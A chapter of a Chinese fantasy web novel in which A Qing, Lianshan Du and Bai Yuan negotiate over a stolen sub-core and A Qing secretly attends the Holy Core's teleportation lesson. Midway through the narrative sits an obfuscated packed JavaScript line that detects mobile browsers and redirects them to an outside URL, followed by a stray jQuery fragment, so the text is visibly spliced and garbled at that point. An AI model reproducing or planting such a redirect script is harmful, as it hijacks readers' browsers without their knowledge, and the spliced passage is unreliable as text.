吃完饭,白渊就去练剑了。
试剑场在竹林小院后面,阿轻和连山渡坐在试剑场边缘,倒显得有些无所事事。
远处的大海一望无际,呈现出深邃的蓝。
连山渡倒了两杯茶,神色郑重道:“听闻颜师妹在圣舟吃了不少苦,我面对师妹时也十分愧疚,在这里先向师妹赔个罪。”
阿轻在看白渊练剑,慢吞吞地说:“圣舟的许多事,我都已经不太记得了。”
圣舟奴隶都被下了洗魂咒,所以就算审问也没有得到太多有用的证词。
这事,身为经卦家人的连山渡多多少少知道一些,他虽没亲眼见过大长老他们做奴隶试验,但他从小也是被虐待过来的。
“就算不记得,也不代表伤害不存在。”
连山渡沉声说道,看她的目光如有共鸣。
阿轻便也想起他过去的经历,可那又怎么样呢?她疑惑地问:“连山师兄想说什么?”
“我想说,你不必把我看做是你的敌人。”
连山渡单手撑在休憩用的石桌面上,说出的话倒是直白得令人意外:“我知道,圣舟那枚丢失的子核在你身上。经卦家一直在找你,但我不会告诉他们。你也知道,子核和子核之间能够相互感应,我想,也许我们可以合作。”
阿轻这才转过去看他,却没说话。
连山渡一时猜不出她的想法,停顿片刻后犹豫地说:“师妹也不想连山穆醒过来后,把你的身份告诉经卦家吧?”
这对连山渡和阿轻来说,都是个威胁。
阿轻注视着他,然后弯了弯唇角,一截白色草枝被她放在两人之间的桌面上:“难道这就是连山师兄找我合作的诚意吗?”
看到自己的神蓍被她拿出来,连山渡眼角一抽,蓍草本身没有灵力,通常只有占术师才能觉察到,她身边果然有极厉害的占术师。
“这不是......想多了解了解师妹嘛!”
连山渡尴尬地挠挠头,坦白道:“看到师妹的实力深不可测,我合作起来才更放心。”
否则,就只有一起被经卦家收拾的份。
阿轻不置可否,将目光挪回到白渊身上。
青年今日穿了件暗纹白衣,色如皎玉,站在澄澈的天光下时,光明洞彻,清雅俊逸。
可一旦动起来,又是锋利冷冽的,像切入寒风的一片冰雪。
雪花静止的瞬间,落了点光在阿轻眼中,但她很快垂下眼,白渊也就没有过来。
连山渡在一旁拐弯抹角地试探,对她过往的经历、修为、人际关系都充满了好奇。
阿轻当然不会告诉他,偶尔便回一句“忘记了”,或者“就是连山师兄看到的那样”。
“......被你带在身边的那个男人,是对你很重要吗?”问到这个时,连山渡瞥了眼试剑场。
只见原本流畅的剑意有片刻的停顿。
阿轻没看见,她敷衍地“嗯”了一声,听到他又问:“为什么,他在圣舟时对你很好?”
阿轻点点头:“是呀。他经常帮我干活,还会护着我不让别人欺负。给了我很多关照,力气大,特别擅长干脏活累活,有什么好东西也会留给我,这些我在审问的时候都已经说过了。”
连山渡忍不住为自己的好友眉头紧皱,一时没注意到她话里隐藏的不耐与厌恶。
“他真是你的心上人?”连山渡担忧地问。
阿轻抬了抬眸,玩味地看向他,刚想问他是不是闲的,清寒的剑光就突然劈了过来。
连山渡熟练地抬手抵挡,一脸惊讶。
白渊站在原地,周身因剑气环绕,而显得肃杀沉冷,传过来的语调也有些淡漠无情:“话那么多,不如过来陪我练剑。”
阿轻转过视线,而师兄已经撇开眼,神色晦暗不清,他收了剑,剑坠在身侧微微摇晃。
视线随之定格,阿轻看到刻绘铭文的乌金在漫长岁月中变得陈旧,稚嫩的笔触也已经模糊不清,可她知道,那个铭文代表着消灾赐福。
是她很久很久以前送出的生辰礼。
少女乌黑的眼眸微微颤动。
原来,他的名字叫相里渊吗?
*
围观了一会儿连山渡施展卦阵却还是单方面被师兄殴打后,阿轻也回去修炼了。
不知师兄身上究竟有什么特殊,又或者是他曾两次帮她修复灵脉的缘故,只是和他共度了一夜,阿轻便觉得自己的灵脉格外顺畅,修炼效果可想而知。
她从储物灵镯里找出一面镜子,让天镜在里面尝试幻影,自己则凝聚着灵气,想看看能不能突破到七境。
天色很快变黑,白渊觉察到了灵契另一端的修炼状态,便没急着回去。
他坐在试剑场边缘,身旁的人已经累倒。
“阿渊,你是故意的吧?”连山渡扭过头,有气无力地问,“你是不想我跟你师妹多说话,还是不想听你师妹说那就是她的心上人?”
白渊没回答,只淡淡地说了句:“你想与她合作,就不要问那么多。”
这人果然一直在偷听,连山渡若有所思地盯着他:“以前我问你是谁的时候,你也是这么说的——别问,知道的太多对我没好处。”
被神巫家下了咒印,关在仙洲,连经卦家都要特意安排人监视。
连山渡不是没怀疑过好友的身份,但他从来不说,现在又来了个神秘莫测的师妹。
都不是简单的人呐!
连山渡重新躺倒,突然想起什么,摸出个药瓶放在石桌上,慢声道:“他们又要我来取你的血了,你处理吧,我只当没看见。”
说完,连山渡就闭上了一只眼,另一只眼看到青年抬起手指点了点,那只本该送去医药家的药瓶霎时四分五裂。
虽然这么做有点对不起南容月,她好像还想从阿渊的血里找到能救她弟弟的办法。
想到南容月,连山渡有些走神。
子核却突然传来一阵诡异的波动,他“噌”地坐起身,随即满脸震惊地消失在原地。
目睹全程的白渊眉心微蹙,同时,灵契另一端瞬间的位移让他立刻御剑往经卦家飞去。
没有人说过神器授术的具体形式,连山渡想当然的以为是像平时教习讲课那般。
于是当传送通道突然出现时,他整个人都懵了,在传送通道里看到一晃而过的阿轻时,他觉得自己小命不保!
可几息之后的黑玉坛上又只有他一个。
连山渡小心地转了转眼珠,刚想开口,昏迷的连山穆就从传送通道里摔了出来,把他吓一大跳,然后是哗啦啦推开殿门的连山氏族人。
圣核之力在玄枢殿上方荡开。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210900|172393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白渊无声无息地落在流转的光华之中,没有轻举妄动。
而在黑玉坛上,提前催动了隐匿术的阿轻目光静静扫过大殿,经卦家的家主、长老,她认识的、不认识的灵术士,都到了。
他们神色各异,先看看连山渡,又看看连山穆,最后整齐划一地跪了下去。
“恭请神器授术!”高声回荡在殿中。
只有阿轻站着转过身,视线幽幽落在缓慢旋转的圣核上,这次果然就没有结界了,若不是她提前用了隐匿术,恐怕已经被发现了。
圣核假装没有看到她脸上的不满,再次化作人机把同样的术法传授给连山渡。
今日是第一日,整个神器授术将会持续一个月。
尽管所授内容和五十年前、甚至百年前没什么不同,但经卦家的态度还是极为郑重。
毕竟其他几件神器,要么下落不明,要么默默无闻,也就圣核始终如一的活跃、有存在感,能够证明连山一族是正儿八经受过神赐的灵族,拥有非凡的血脉。
连山一族向来以此为荣。
即便融合子核的族人要承受惨痛的代价,即便他们现在什么都听不到。
能听到授术的人只有阿轻和连山渡,连山穆或许也能,但阿轻盯着连山穆,觉得他这会儿突然“诈尸”的可能性不大。
她探出的灵线刚触碰到连山穆残破的灵脉与灵元,就被屏障阻隔。
这让她若有所思地抬起眼,又被圣核此刻提及的传送术吸引。
圣核机械的声音落在她耳边:“传送术能在两地之间建立通道,实现瞬移,圣核与传送阵都可搭建入口,由连山血脉催动。”
非连山血脉的阿轻,依然只能靠灵力。
圣核将传送阵也教给了他们,比起连山渡的轻松,阿轻却是用了不少灵力才把阵法完全绘制出来,这还有她曾数次经历传送试验的缘故。
没有灵力维持的阵法转瞬消失,剩下的灵力已经不够她再继续留在黑玉坛了。
阿轻想要退走,环顾一圈紧闭的殿门后,直接趁圣核不注意,灵线再次侵入连山穆的灵脉。
虽然屏障迅速出现,但连山穆虚弱的灵脉实在受不住这样的刺激,他很快吐出一口血。
底下的连山氏却没有动作。
阿轻不由冷笑,觉得这群人心真狠。
最后还是连山渡挠挠头,转过身向各位长辈行了一礼,接着对连山齐说:“三哥似乎不太对劲,父亲可否请医师过来看看?”
连山齐皱起眉头:“神器授术不可中断。”
难道就让人死在这里?
连山渡视线划过黑玉坛,他虽然没看见颜师妹,却知道她一定在这里,她叫他开门。
“授术已经停了。”连山渡面不改色,没有表现出对圣核竟会帮颜师妹传话的震惊,他如实说道,“想来神器也不忍看到族人受苦。”
连山齐这才沉着脸挥手,命灵术士把连山穆送去医馆,毕竟他这副样子,也指望不上了。
阿轻得以跟着出去,临到门边时,听到连山齐问:“黑玉坛上只有你和小穆?子核可有产生感应?”
连山渡摇摇头,好在众人都能看到黑玉坛上发生的一切,他不由松了口气。
阿轻想了想,往殿门缝隙塞了块微乎其微的镜片后就离开了。